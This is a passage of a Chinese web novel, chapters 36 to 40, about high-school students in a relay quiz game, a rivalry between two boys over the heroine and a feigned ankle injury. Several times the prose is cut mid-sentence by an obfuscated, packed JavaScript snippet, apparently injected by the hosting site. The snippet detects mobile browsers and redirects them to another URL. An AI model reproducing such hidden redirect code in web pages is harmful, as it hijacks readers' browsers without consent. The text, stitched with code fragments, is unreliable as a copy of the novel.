苗渔想要拦着她没拦住，涨红了脸说：“你，你下一轮可以去邀请沈通的，我们班本来就人数不够，又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16302856|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没说不能重复参赛……别嚷了……” 于支扬：“……” 是了，游戏是规定可以重复参赛的。 只剩下最后一道题了，欢呼声中，沈通背着夏注来到最后一台答题器面前。 沈通微微侧首，提醒她：“第三题，准备。” 夏注：“OK，开！” 【题目三：下面关于卤化氢说法不正确的是？ A、卤素原子半径越大qing化物越不稳定 B、稳定性为HF＞HCI＞HBr C、卤素单质与氢气越难反应，生成物越稳定 D、以上都是】 所有题目都是随机的，前两次他们抽到的都是课本上的原题，这次不知是不是因为机器版本还停留在多年以前，化学课早就取消了，竟然还冒出一道化学题。 题目明显跑偏了，沈通问：“能做吗？” 夏注说：“可以，初中学过的，就是好长时间没接触了，给我点时间……” 沈通悄无声息地叹了口气，脱口而出：“选C。” 夏注一脸震惊：“？？！” 卧槽？她题目都还没读完他就做出来了？这不科学！ 夏注打从心底大吃一惊，心说这个家伙都这么牛逼了，这次考试居然只排第二？那第一名到底是个什么水平？升华班果然都是一群魔鬼…… 【恭喜你，答案正确！】 “真的是C！哇哇哇沈通你厉害啊！” 沈通“嗯”一声，淡淡道：“你也不差，先取旗。” 于支扬：“……” 杨宝儿：“……” 两人在观众席排排站，看到这一幕，“咔嚓咔嚓”两声，齐刷刷掰断了手里的木棍，内心想法不谋而合，高度一致：可恶！ 蓝色的三角形小旗子掉落在地，可怜兮兮被人踩上一脚，然后丢进了垃圾桶…… 夏注和沈通成功拿下三面小旗子到达终点，周围响起铺天盖地的掌声，起点线那边的同学立刻出发接力第二轮。 越过终点线，沈通蹲下身把夏注放下来，两人并肩站在一起，听裁判大声宣布：“升华班第一轮第一组，沈通夏注，用时3分01秒！答题全部正确，单组排名第一！” “啊啊啊太棒了太棒了！目前最强组合！升华班赢定了赢定了！” 第一组在接力赛中打好基础，后续只要不出太大的差错，的确是赢定了。 173班的气势降了一半，有人小声抱怨：“我的天，3分钟！这还是人吗？人家3分钟做3题，我们3分钟做1题，这差距……” “别忘了他们班于支扬还没上呢……”她旁边另一个班委面露恐惧：“那才叫真正的答题怪物……” 场外好几个班不约而同地叹息，不是提前焦虑，而是真没辙了。大部分人都在祈祷于支扬不要上场该有多好…… 于支扬本人此刻的确没上场，并且已经在人群后方的草坪上坐了好一会儿了。 他在等夏注出来。 第一轮明明已经结束，夏注却留在了里边继续看比赛。 其实留在里面并没有什么问题，反倒是于支扬应该进去跟大部队汇合，等在外面本来就是个错误，也注定，等不到那个不会出来的人。 于支扬目光掺杂着冷意，就这么坐着不说话，草坪上川流不息，明明三十多度的天，他周身却萦绕着化不开的寒气，低着头也不知道在琢磨什么。 付少校在旁边看着都觉得瘆人。 又坐了一会儿，他总算动了，站起来轻轻叹了口气，好像终于向着某种庞然大物低头妥协，做好准备后，朝人群里走去。 “于支扬你想干嘛啊？别乱来啊。” 付少校赶紧站起来，跟着他走了两步，就怕于支扬一气之下做出什么不该做的事。 尽管他知道于支扬现在已经冷静下来了，也知道他只是表面上看着易冲动，实际做起事来稳得很，但不免还是有点担心。他问的甚至不是「要去哪」，而是「想干嘛」。 “你慌什么？”于支扬说，“我就是去找普老师打个招呼，下一轮比赛，我亲自上。” 付少校听到他这么说，松了一口气，头顶上缓缓冒出一个问号：“哦，那你打算找谁做搭档？你想背谁？” 于支扬没有回头，单手整理了一下胸前的红色领带，语调平静而坚定。这个回答倒像是对着自己说的，付少校根本没听见： “背我未来女朋友。” 37.第三十七章 “3分01秒，你们两个搭档得不错！” 计分台的裁判老师收下三面小旗子，做好登记，对他俩说：“可以了，你们回去休息吧，游戏奖励会另行通知。” “好的谢谢老师！” 夏注顺手从台上拿了两瓶水，一瓶递给沈通，见他拒绝，握着瓶口一个劲敲他，沈通有些无语，只得接了。 游戏结束自动散伙，夏注也没再管他，自己拧开瓶子喝了一口，朝着操场外围走，想出去吹吹风。 结果刚一抬起头，刚入口的水差点没喷出来。 于支扬两手插兜站在她面前，脸色铁青而阴沉，明摆着很不高兴。 “怎么？跟沈通玩得开心吗？” 距离很近，夏注再往前走一步肯定会直接撞他身上去！她被水呛到，咳嗽了两声：“咳咳咳……你，你什么时候回来的？” 于支扬会这么问证明他肯定不是刚刚才回来的，刚才的比赛他一定也看见了。 她低头拧紧瓶盖，把瓶子换到一只手拿着，想了想，又换了回来。干笑两声说：“没，小游戏，为了班级荣誉嘛，重在参与……” 于支扬看着她手忙脚乱地把一个水瓶子转手好几次，最后干脆两只手一起握着，全程不太敢看他的眼睛，心里那股无名火烧得更旺了。他一把拉住夏注的手腕，领着她朝比赛场地走去，夏注不明所以跟他走了几步，问：“做什么？” “跟我走，去排队，你下一轮的搭档是我。” 夏注立马不愿意走了：“啊？我上过场了……” “那就再比一次！” 再比一次？开什么玩笑？要比就比为什么非得来找她呢，这不就明摆着想跟沈通比个高低？ 果然于支扬的胜负欲就是不允许死对头排在他前面，夏注当然不会同意。 今天好不容易才让沈通出了风头，要是在同一个女搭档的情况下排名下滑，两男生的水平差距岂不是高下立见？这不妥妥的拉仇恨值？ 沈通还未走远，听见夏注的声音刚一转身，就看到于支扬拉着夏注，气势冲冲走过来了。 夏注一边后退一边喊着：“于支扬！于支扬你不要胡闹，我累了要休息，我不会跟你组队，你找别人去！” “我不找别人，我就要你！” “放开。” “不放！” 两人径直从沈通面前走过，沈通视线跟随了两步，忽然鬼使神差地伸出手，扯住了夏注的另一条手臂。 根本就是下意识的动作，等反应过来时，他自己也愣了一下。 “她要休息。” 这话是对着于支扬说的。 夏注的身体一下子僵住了。 于支扬在前面牵着她的手往前拖，沈通在后边拽住她的胳膊不让动，她现在正以一种十分诡异的姿势，卡在两人中间。 桥豆麻袋，情况真的有点不对了…… 察觉到周围同学投来诧异的目光，夏注隐隐感觉有点头皮发麻…… 于支扬目光不善，视线缓缓移动到沈通拉着夏注的那只手上，眼神好像要吃人，却难得没有立刻发火。 于支扬：“夏注，跟我走！” 沈通又重复了一遍：“她要休息！” “该休息的人是你！”于支扬狠狠瞪着他：“这是我跟她之间的事！你算哪根葱？” “那什么，你俩能不能先松手？……” 夏注缓缓开口：“你俩不要脸，我还是要的……” 接力赛正如火如荼进行中，原本大家都忙着看比赛，没什么人注意这边，他俩这一拉扯，有不少人的目光陆续看过来。 夏注使劲把自己的两只手抽回来，避免跟他俩触碰。 于支扬反应更快，倏一下绕到她面前挡着，生怕晚一步夏注就会站错阵营一样。 他警惕地盯着沈通，寒声道：“辛苦你刚才背她那么久，累了就找个凉快地呆着去，不累的话可以找个工地搬砖，别来沾边！” 他说着，还反手朝后面捞了一把，确认夏注站在身后。 这个动作在外人看来，就很像是在安抚什么遇到危险的小动物，很容易叫人误会。 夏注小声道：“闭嘴！别再故意激怒他了！” 沈通冷冷看着于支扬，眼里没有一丝愧疚和慌乱：“她不想跟你搭档！” 于支扬咬牙道：“想不想是她的事，让她想是我的事，总之没有你的事！所以你别多管闲事，你可以滚了，谢谢！” 夏注终于忍不住伸手推他：“够了，我说闭嘴！” “凭什么闭嘴？我今天火气大的很我跟你说……” “那你憋着！” 于支扬一开口就在故意激怒沈通，这个人别的本事未知，冷嘲热讽的本事倒是一绝。 夏注早就发现了，他俩好几次吵起来其实都是于支扬率先激化矛盾的，小事变大，大事爆炸，他好像就是热衷于让沈通不痛快。 偏偏沈通是完全禁不住嘲讽的性子，三言两语气得他胸膛快速起伏着，喝道：“你去，找别人！” 于支扬：“我就找她！除了她谁也不行，碍着你什么事？” 沈通：“她上过场了。” 于支扬：“那就再上一次，谁叫你没用专门拖后腿呢？” 沈通拳头握得咯咯作响：“说谁拖后腿？！” 于支扬：“没错，拖后腿说你！” 高三170班后排队伍里，窦菲刚一回头就看见正拉拉扯扯的三个人，脸色瞬间铁青。 “卧槽吵起来了，那边在抢人啊你们去不去看？” 高三年级里有人小声问，“好像是于支扬和夏注？” “啊？部长又抢人啦？真的假的我瞅瞅……” “啊啊啊修罗场！修罗场！就在那边啊！这不是亲眼所见谁敢瞎说啊？兄弟们这种修罗场要是没拍到肯定要后悔一整年！” 大部分学生正在准备上场，不太敢直接脱离队伍，一个个伸长了脖子朝后排望去。 可惜再心急也没用，根本看不见什么，只能等着后面传话来描述现场。 人群里不断有人问着：“我走不开呀……有没有照片？为什么吵起来的？谁在第一现场录个直播来呗！” “我们就这么看着他俩吵吗？有没有人上去拦一下？” “不用不用，又不是第一次见了，别大惊小怪……” 窦菲下意识想冲出去阻拦，但没走两步，又改了注意，抬起头四处寻找老师的踪影。 普芹正跟二班班主任站在一块，赛场上声音太大，两人走远了些，站在高处台阶上聊天。窦菲一路小跑过来，站在台阶下叫她们：“普老师！你们班于支扬和沈通在操场上吵起来了！” “普老师？” “我跟你说啊，我上次去的那家餐厅……” 普芹总算回过头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“咋了咋了？后面发生什么了…” 夏注愣在原地看着于支扬喊疼，心说这什么情况？我没有用力呀…… 在她身后，沈通也站着没动，看着于支扬盘腿坐在地上嗷嗷叫，皱起眉头，表情一言难尽…… 偏偏于支扬除了喊疼还不认输，指着夏注控诉说：“你不愿意就算了呗，干嘛踢人啊？下手也太狠了，我疼死了知不知道？嘶……” 端得一副单纯、无害、弱小的受害者模样，看得夏注无言以对…… 完全不要脸了是么。 明明就是他先动手的，这个时候装什么无辜？ 说躺下就躺下，年级第一，呵。 “干什么干什么？你不要碰瓷！” 夏注两手叉腰丝毫不显势弱，“我根本就没有用力，你不可能摔一下就这样了，别装了，起来！” 于支扬：“疼！起不来！” “于支扬，别逼我动手！” “我的脚真的肿了！不信你看啊！” 他说着就抬起小腿，轻轻扭动了一下脚踝，只听见清脆的“咔嚓”一声，夏注神色一怔，瞬间慌了。 “于支扬？！” 她立刻蹲下身去查看，伸出手掀开于支扬的裤脚，露出一截凸起的脚踝，果然红肿一片，透着淤青。 不是吧……真肿了？！ 这么脆皮的吗！！ 38.第三十八章 “窝趣！后面打起来了！” 消息传着传着就变了味，不少正在备赛的学生纷纷扭头，好奇地打听：“什么什么？谁跟谁打起来了？于支扬和沈通吗？” “不是，但于支扬受伤了！” 裁判老师就在附近，学生们不敢讨论得太大声，也不敢跑过去围观，但传话的人连夏注怎么踢的动作都描述出来了，不像造假。 “那他怎么不躲啊？”杨宝儿有点想不通，“就这么任她踢？” “这要怎么躲？他背后又没长眼睛，你去躲一个试试？” 隔壁高三队伍里有人实在听不下去了：“喂，能不能别聊了？正比赛呢，尊重一下对手行不行？还看不看比赛了……” 苗渔原本就在后排维持纪律，隔的不远，听见周围好多人都在议论这事，赶过去一瞧，正好看见夏注踹翻于支扬。 于支扬盘腿坐在地上喊疼，夏注蹲在他旁边掀裤脚。沈通站在不远处冷眼旁观，站位有点微妙，很难不叫人误会是他下的手。 好在他们仨周围没什么人，也正因如此，没什么视线遮挡，三个人的一举一动，完全暴露于人前。 谁先动的手一目了然。 苗渔转头对杨宝儿说：“别废话了，赶紧去找普老师。” - 于支扬的脚踝就这么肉眼可见地肿起来了。 他倒完全不抗拒夏注的动作，全程垂着眼眸，一脸幽怨地盯着她看。 夏注不太敢触碰，忍不住“噗”一声笑了：“不好意思啊，没控制好力度……不过也是你活该，谁让你扒拉我的嘿嘿嘿……” 她低着头，肩膀一颤一颤的，看得出正在努力憋笑了。 笑完了还不忘感慨一句：“啊，真奇怪，我就踢了一脚，怎么这么不禁踢……” 于支扬头顶缓缓冒出一个问号：“不然呢，你还想踢几脚？” 他一直观察着夏注的脸色，没想到会是这样一个反应。 谁能告诉他夏注为什么笑得如此开心？ 这种时候，按理说不是应该哭着忏悔求原谅吗？怎么跟他想象中的不太一样？ “你笑什么呀，严肃点！” 于支扬捉住她起身的动作，仰头跟她面对面，眼神有些哀怨：“你，把我的脚踢成这样，你是不是应该……” 话音未落，普老师焦急的声音从后方传来：“于支扬，你又在搞什么幺蛾子？” 于支扬没说下去，夏注迅速甩开了他的手，站起来跟老师问好。 “你抓着夏注干嘛呢？”普老师问，“扭伤怎么样了？严重吗？” 听说于支扬的脚扭了，她才想起来刚刚好像是有个女生说沈通跟于支扬吵架来着……以为是两个男生打起来了，吓得她着急忙慌赶过来阻止，到了才发现不是。 老师弯下腰先查看了一下伤势，暂时松了口气：“你今天还没上场呢，也不知道小心点……” 于支扬用眼神示意夏注扶他起来，夏注却故意站着不动，只摊开一只手心，给他借个力。 真冷漠。 跟在老师身后的苗渔见状，走上前来，正打算扶他。于支扬好像没有看见，已经攀着夏注的胳膊爬起来了。 他受伤的那只脚离地，跌跌撞撞两下，靠在夏注身上，才勉强站稳。 夏注随手整理了一下被压住的头发，没有推开他。 那是个习惯性的动作，苗渔觉得有点意外。 “你们说说吧，到底怎么回事？脚怎么扭的？”普老师问。 这句话不是具体问的哪一个。 沈通的目光落在夏注身上，实话实说：“是夏……” “报告，是我腿麻了！” 于支扬先一步抢答。 他用手臂搭着夏注的肩膀，看似完全依靠，实则只敢把很小的重量压在她身上。故作轻松道：“我刚才回来的时候，怕赶不上，所以跑太快，腿麻了没站稳！” “是这样吗？” 普芹半信半疑地盯着他的眼睛，一字一句道：“你小子，吓我一跳，我还以为你跟人打架了？” 于支扬笑着说：“当然没有，怎么可能？” 他说这话的时候，视线越过老师，扫了沈通一眼，眼神里满是冰冷的警告，转瞬即逝。 沈通张了张口，随即意识到什么，犹豫了好半天，最后闭上了嘴。 站在普老师后面的苗渔闻言，愣了一下，好像不理解于支扬为什么要撒谎：“你明明……” 于支扬：“对了，苗渔也能作证的，我没打架，对吧？” 苗渔的视线在搀扶在一起的两人脸上来回转悠，硬着头皮道：“是，是没打架，但是……” 于支扬：“那不就完了？你还没参赛吧，快去排队吧。” 苗渔一时语塞，这个人三两句话就把她堵回来了，再说下去，反倒显得她多事。 这件事其实可大可小，夏注这一脚是有意为之，真追究起来，那就是故意踢伤同学，肯定免不了一顿批评，严重一点是要背处分的。她不好直接插手，但沈通为什么也不出声了？ 如果连于支扬本人都不计较，甚至刻意隐瞒，那就另当别论了。 普芹终于松了口气：“没有就好。就是今天这游戏，我看你是没法参加了……” 于支扬闷声笑了笑：“是啊，好可惜，看来只能请假了。” 夏注余光微动，发现身侧这人正定定看着她。 那一脸邀功的神态，好似在说“这次放你一马你看我对你好不好你要怎么谢谢我”……就跟以前给她送小蛋糕时，摇着尾巴等夸夸的表情一模一样。 夏注心领神会，不动声色地勾了勾唇角。 既然于支扬有心替她瞒着，那她当然也不会不识趣，主动自爆。 “行了行了，你还有心思管别人？” 普芹指着食堂方向，对夏注说：“校庆期间有临时医疗点，夏注，你已经上过场了，那你扶于支扬过去找校医看一下吧……” “普老师！” 苗渔再次出声打断，提醒说：“待会儿啦啦队还要训练的，夏注应该去换衣服了，要不换个人陪于支扬去吧？” 普老师迟疑了一下：“噢，是了……可其他同学还要比赛呢，现在上过场的人除了夏注，就只有……” 几个人的目光齐刷刷平移，看向全程跟木头似的站着一动不动、也不插话的沈通身上。 木头：“ ？” 普老师：“沈通啊，要不你？……” “不行！！” 于支扬和夏注两人异口同声，反驳之决心出奇的一致。 沈通：“……” 苗渔：“……” 普老师：“……” 别人可以换一换，但如果是沈通，夏注就不得不阻拦。 毕竟让沈通送于支扬去就医，跟送稻草人去救火有什么两样？说不准两人半路上就一通互殴同归于尽了！如果这样的话，她宁愿是…… “诶？！” 夏注的全部思绪戛然而止，因为于支扬忽然从后面伸出一条手臂，紧紧圈住了她的脖子，轻轻一勾，把她整个人往怀里带。 夏注的身体一瞬间僵住了。 只听头顶那道声音若无其事道：“不用了普姐，就夏注陪我去，我保证绝对没有问题！” 男孩子的前胸紧紧贴着她的后背，开口说话的时候，夏注能很明显地感受到他胸腔震动的幅度和温度。 那股清新好闻的气息将她包裹，熟悉又久违，满脑子的记忆洪流反复洗涤过后，最终只剩下一个念头：他为什么…忽然愿意跟我亲近了？！ “说你自愿。” 夏注仰起头看他，眼神有点茫然：“什么？” 于支扬垂眸，声音好像被下了蛊：“快说你自愿。” “我，我自愿……” 于支扬的睫毛轻轻扇动了两下，低沉地笑着，与她四目相撞。 夏注陡然回神：他这不站得挺稳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16350914|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？！ “可是夏注还要参加拉拉队训练呀！” 苗渔一句话把她拉回当前：“夏注迟到是要扣分的，所以抱歉了，你换个人吧。” 于支扬：“团体游戏都还没结束，不差这一时半刻的。” 苗渔：“我们的训练时间很紧张，于支扬，这件事你不要插手！” “话不能这么说……” 于支扬深深叹了口气，“要是我没记错的话，啦啦队在活动期间，应该归属于后勤吧？噢对，虽然在我们班主要还是班长管，不过严格点来说，夏注现在应该算是后勤部的人。苗部长，你负责学习部，何必对后勤部的事这么上心？” 这是拿部门的职务来压班级的职务？于支扬这个角度可真够刁钻的…… 苗渔听完有点不太高兴了：“我是拉拉队的领队，当然有权管理。” 于支扬：“我又没说你不能管，但是扶一下受伤的同学去就医，这也是后勤工作吧？还是拉拉队的工作之一，难道我记错了？噢对了，要不咱问一下纪律部长，他最懂这个！” 他说着，把夏注当成支点，抬着那只扭伤的瘸腿一点一点转向沈通。问：“我刚刚说的没错吧？夏注，是不是应该跟我？” 沈通：“……” 夏注的眼皮狠狠跳了一下，心说你要问就问，班主任还在场呢，能不能不要夹带私货…… 于支扬凌厉的目光紧紧盯着沈通，面上虽然保持着礼貌的微笑，周身却萦绕着一股咄咄逼人的气息。 “说啊？” 沈通万年不变的表情出现了一丝怒气，好半天才压下去。 他看了苗渔一眼，寒声道：“拉拉队，算后勤。” “听见了吗，纪律部长都亲口说了。所以就算夏注今天不参加训练，也不算缺席。苗部长，你不会扣她分的对吧？” 说了一大圈又绕回来了，苗渔压根无法反驳。 论嘴上功夫她就没见过有几个人能赢过于支扬的，这个人真理歪理全是理，只有他想，黑的也能说成白的死的也能说成活的……自己究竟是多想不通才会跟他溜嘴…… 苗渔彻底无语：“对，对……” 算了算了，说不过他，说再多也是浪费时间。 于支扬冲普老师挥手告别，一跌一撞搭在夏注身上，对她说：“走吧走吧！” 夏注：“轻一点，你勒到我脖子了！” “别吼我，我是伤号……” “没见过这么厚脸皮的伤号。” — 校医室刚在食堂门口搭起大棚子，这会没什么人，于支扬就成为了第一个光顾的幸运儿。 “嘶啊疼疼疼！好疼！” 女医生低头检查了一下于支扬的脚踝，被他一连串哭天喊地逗笑了：“你不要叫得这么夸张，忍着点，我都还没用力。” 夏注很自觉地去捂于支扬的嘴巴，不让他嗷嗷叫。 校医取出两根棉签，随口问他：“都肿成这样了，怎么伤到的呀？” 夏注憋着笑，替他回答：“哦，是他自己平地摔的。” “胡说！”于支扬掰开她的手指，“明明是你踢的！” “别开玩笑了，小帅哥，踢伤可不会肿成这样，那得使多大的劲……” 校医姐姐说话的声音很温柔，动作却不那么温柔，直接用棉签蘸了点药水，按在他脚踝上摊开，反复碾压，疼得于支扬直龇牙。 “你这是前几天扭到的吧？怎么不早点处理，你们这些孩子啊一点也不爱惜自己……” 夏注原本拽着于支扬的后脖领子，不让他乱动，一听这话，陡然僵住：“什么？” “您刚刚是说，他的脚前几天就已经扭伤了？” 医生收了医疗箱，笑着说：“是呀，我看着起码两三天了，都有淤青了……” 夏注还想再问，忽然注意到于支扬狗狗祟祟挪动了一下椅子。 她从牙缝里蹦出三个字：“于，支，扬！” 39.第三十九章 于支扬不动了，感觉脊背冰冰凉凉的，好像身后有个幽灵正在缓缓靠近，不知道哪一秒就会扑上来咬他脖子。 夏注也没让他等太久，直接一巴掌甩在他后脑勺上，打出一声闷响：“你特么还真碰瓷啊！自己弄的伤还叫我来接盘？你是不是人！” 于支扬“哎呦”一声，上半身瑟缩了一下，反手抱住自己的脑袋。 “那……你也有责任啊！本来不肿的，我还能正常走路来着，你踢完一脚之后才更肿了！” 夏注气得发抖，想再轰他一拳，却找不到地方下手，咬牙道：“我怎么知道你脚上有伤？幸亏刚才没让你背，你是想摔死我么？” “不会让你摔的！” 于支扬说，“要不是你那一脚正好踢在我扭伤处，我现在都还能打球呢！” 夏注把手高高扬起：“你还打球？” “本来……本来就是，是你加重了我的伤势，让我这么难受……” 于支扬低着头，声音越来越小：“你就是信得过沈通，信不过我……” 夏注：“你嘀嘀咕咕什么？！” “没有……” “好了好了，先不要吵啦。也不算太严重。” 校医姐姐象征性劝了两句，递给于支扬一个冰袋：“可以暂时敷一下止疼。消肿之后就没事了，恢复期可以用毛巾热敷，这几天先不要剧烈运动。” “好，谢谢。” 于支扬扶着椅子站起来，对夏注伸出手：“诶，过来搭把手？” 夏注已经走出两步，听到这，只是放缓了脚步，没有回头。 “关我屁事？”夏注说：“老师叫我送你来看校医，又没让我带你回去。” “你不会打算把我一个人丢在这吧？你亲口说过你是自愿来的！” “我没说过。” “说了的！” 夏注沉默了。 怎么会有这么幼稚的人？ 原本看见他的脚踝肿了好大一包，夏注心里还有点愧疚的，这会儿已经烟消云散了。 “你随便吧，反正我要……” 于支扬拖着那只受伤的脚跳过来，从后面勾住了她的脖子，停顿了一会儿，才说：“别丢下我……” 夏注目光奇异地歪着头看他，想听听他能说出什么挽留的话来。 然后就听见他说：“俗话说好人做到底，送佛送到西，要不你再送我去一趟电台室吧？” 夏注顿时有点失望。 内心腹诽说骗了我还想使唤我？你倒想的挺美…… “还真把我当人形拐杖了？你看我像很好忽悠的吗？” “这怎么叫忽悠？” 于支扬垂下眼眸，用一种不太确定的语气反问说：“这叫…对我负责？” 见夏注突然拧眉，于支扬收紧了手臂，慌忙改口：“别别别，我刚才还在老师面前维护你了！你踢了我一脚，我替你挡下了批评，不计较了行不行？” 夏注脸色稍微缓和了一点，最终也没推开他，生气归生气，总不能真让于支扬一路跳着回去吧。 她掏出手机看了一眼时间，问：“你要去电台室干什么？” “我有直播，这个星期校庆，每天都得播一场。”于支扬轻轻拍了拍她的肩膀，“走吧，时间差不多了，我要迟到了。” - 学校的电台室在科技楼二层，大的小的各一间。 小的那一间专供宣传部直播使用，平日里都锁着门，钥匙只在历届宣传部长的手里。说直白一点，跟部长的私人领地也差不多。 一楼没有人值班，不过他俩来得不巧，电梯正被几个女同学征用搬东西，两人对视一眼，还是决定走楼梯。 夏注扶着于支扬上楼……准确来说不用她“扶”，因为于支扬真的很自觉，像只考拉一样“亲昵”地挂在她身上，扯都扯不下去。 她只需要走慢一点，走稳一点就可以了。 至于为什么会产生“亲昵”的错觉呢，主要是今天的于支扬真的不对劲，非常之不对劲。 这么长时间以来于支扬一直都挺抗拒她的，连靠近一点都要翻脸。 但今天他不仅提出要在游戏里背她，还非要让她陪着去就医，直到现在，莫名其妙被他带着来到这里。 于支扬的目光从刚才就一直紧紧黏在她脸上。 看什么呢，她脸上有虫子吗？？ 夏注被他看得很不自在。 据她多年对人类情绪感知的敏锐度来看，于支扬的眼神里没有什么恶意，反倒很炽热、很欣赏、带着点期望，仿佛很急切的想从她这里挖出点什么。 夏注产生了一种诡异的幻视感，好像于支扬的脑袋两侧长出了两只毛茸茸的树叶型耳朵，只要看他一眼，他马上就会踮起蹄子，顶过来围着她转圈圈…… 她倒不是反感，就是感觉心里有点别扭…… 夏注想起在here网吧那天，她也是这样盯着于支扬看的，实在没想到有一天回旋镖还能打回自己身上…… 不敢动，根本不敢动，夏注一直僵着脖子目视前方，根本不敢扭头。 这家伙眼巴巴盯了她一路了！到底是想干嘛？ “看够了吗？”夏注说，“你再用这种眼神盯着我，我会把你眼珠子抠出来。” 她说完，朝台阶里侧平移了一步。 下一秒，于支扬一把抓住她的胳膊，又把她捞了回来：“离我那么远干什么呀？凑近点儿……” 于支扬的视线顺着她侧脸的线条，缓缓下滑，这是他人生第一次如此近距离、又认真地看她。 女孩子皮肤细腻白皙，嘴唇嫣红的粉色恰到好处。每走一步，长发就轻轻飘动一下，散发出一股淡淡的清香。 尤其是那双眼睛，真的很特别，又大又漂亮，眼角末梢透着粉红色，既不过分乖张，也没有半点平易近人的亲和感，给人的气息遥不可及。 很奇怪，夏注眼中流露出的情感好像都是转瞬即逝，眼神控制简直过于老练了，好像能完美掩藏内心全部的真情实感。 于支扬很少会遇到连他都无法一眼看穿的同龄人，这实在有点不可思议…… 好像只能从夏注下沉的嘴角，看出她此刻心情不悦。 但不管怎么样都是好看的，真好看，于支扬觉得这也太好看了，他以前怎么没发现夏注这么好看？…… “夏夏，我脚疼，你能扶着我点吗？” 于支扬的嗓音带着点楚楚可怜，好听到让人浑身酥麻。 夏注继续沉默着：“……” 这家伙是懂怎么勾引女孩子的。 平时不显山不露水，张牙舞爪都在别处出尽风头，不曾想一到关键处，还会自动开窍…… 伪装得可真好哇…… “你怎么不说话？你不会是在担心我的伤吧？” “呐，其实根本就不疼，我装的。ber……你别瞪我啊，脚伤这个是真的！只不过是我前天打篮球扭的……” 见他还是不说话，于支扬自顾自道：“本来就是好的差不多了，要不是你踹我一脚，说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她甚至来不及抬起头，提脚就踹，一脚踢在于支扬心口处，直接把人踹飞了出去。 于支扬后腰着地，整个二楼地板发出“砰”一声震撼。 夏注听到了“咔嚓”的动静，来源不知道是脚踝还是腰杆…… “你这……又是干什么？谋杀么？……” 于支扬艰难地翻身坐起，感觉浑身血管都要裂开了，不解道：“什么流氓？我只是说……说……” 于支扬停顿了。 两秒钟后，他突然面红耳赤，惊恐地连连后退：“你！你！你TM……？我是说骨头硬！不是别的！我的意思是，你！你不是挺能打的吗有空咱俩比划比划！你到底在想些什么东西？！” 夏注也有点尴尬：“那你好好说话不行吗？没事干嘛要加字省字。” 于支扬：“靠，难道怪我？明明是你自己思想有问题！说踹就踹啊？都不带犹豫一下的？嘶，害我莫名其妙又摔了一跤。” “好啦好啦，对不起么……” 这次没法反驳，这次是真冲动了。 夏注蹲下来扶他，替他拍了拍裤子上的灰尘，拿出十二分的赔笑姿态哄他：“对不起对不起，我的错，快起来吧，直播要迟到了……” 都特么什么时候了还想着直播？这人的心是石头做的吗！！ 40.第四十章 于支扬冷哼一声，眼眶有些发红，被她扶着颤颤巍巍站起来，不禁倒吸了一口凉气。 疼，脚疼腰疼胸口疼，全身都疼。 夏注出手是真狠，一般人还真未必扛得住她这一脚。他的身体恢复速度挺快的，今天一连挨了两次重击，居然还能站起来，于支扬都有点佩服自己了。 夏注挽着他的胳膊走了两步，小心翼翼观察着他的动作，心里松了口气：还好还好，这都没骨折，的确挺硬的…… “嘶……我的腰啊，夏注，这可是你今天第二次行凶了。我要是每天跟你待在一块，下半身还要不要了～” “好好说话。” “我是说脚踝，你呢？” 夏注：“……” 滚吧，不正经的东西。 于支扬从裤兜里翻出钥匙开门，语气认真地说：“你以后不要跟人打架了。” “为什么？” 夏注挽着他的胳膊，没有看他，语气里带着调侃：“是怕我受伤吗？” “不是。” 于支扬笑了一下，“跟你打架，成本有点高，遇见你的倒霉蛋个个下场都得半身不遂。” 这不是拐着弯说她凶残么？？ 夏注不太乐意听：“怎么可能？我平时还是挺温柔的，你看看你，得罪了我这么久，不也还好端端站在这？足以证明我长期茹素，心怀慈悲。” 神特么心怀慈悲。 “废话，我这从小练散打的体质跟别人能一样吗？” 于支扬推开电台室的门，自己扶着墙壁进去，转头对她说：“进来吧。” “这里就是电台室？” 夏注探进脑袋扫视一圈，这里门窗密封，隔音效果很好，墙壁是跟校服一样的灰蓝色。地板上铺着一层薄毯，人走在上面，一点声音也发不出来。 最里面有一张长长的松木桌，各种调音台和监听设备摆放得井然有序。 卡座后面挂着一张黑色触控屏，于支扬一开灯，屏幕上的蓝色光点跟着闪动了两下。夏注顿觉脑子里传出“嗡”一声轰鸣，下意识捂住了耳朵。 “你怎么了？” 夏注摇摇头：“没什么，这里好安静。” 数生建模的正常共鸣反应罢了，这里的智能设备等级都很高。 于支扬拉出座椅，顺手打开了直播设备，对夏注说：“把门关上，冷的话可以开空调，门背后有一把备用椅子，你可以坐在那等我。” 夏注还是站在门口没动：“不用了，我在外面等你就行。” “叫你进来就进来。” 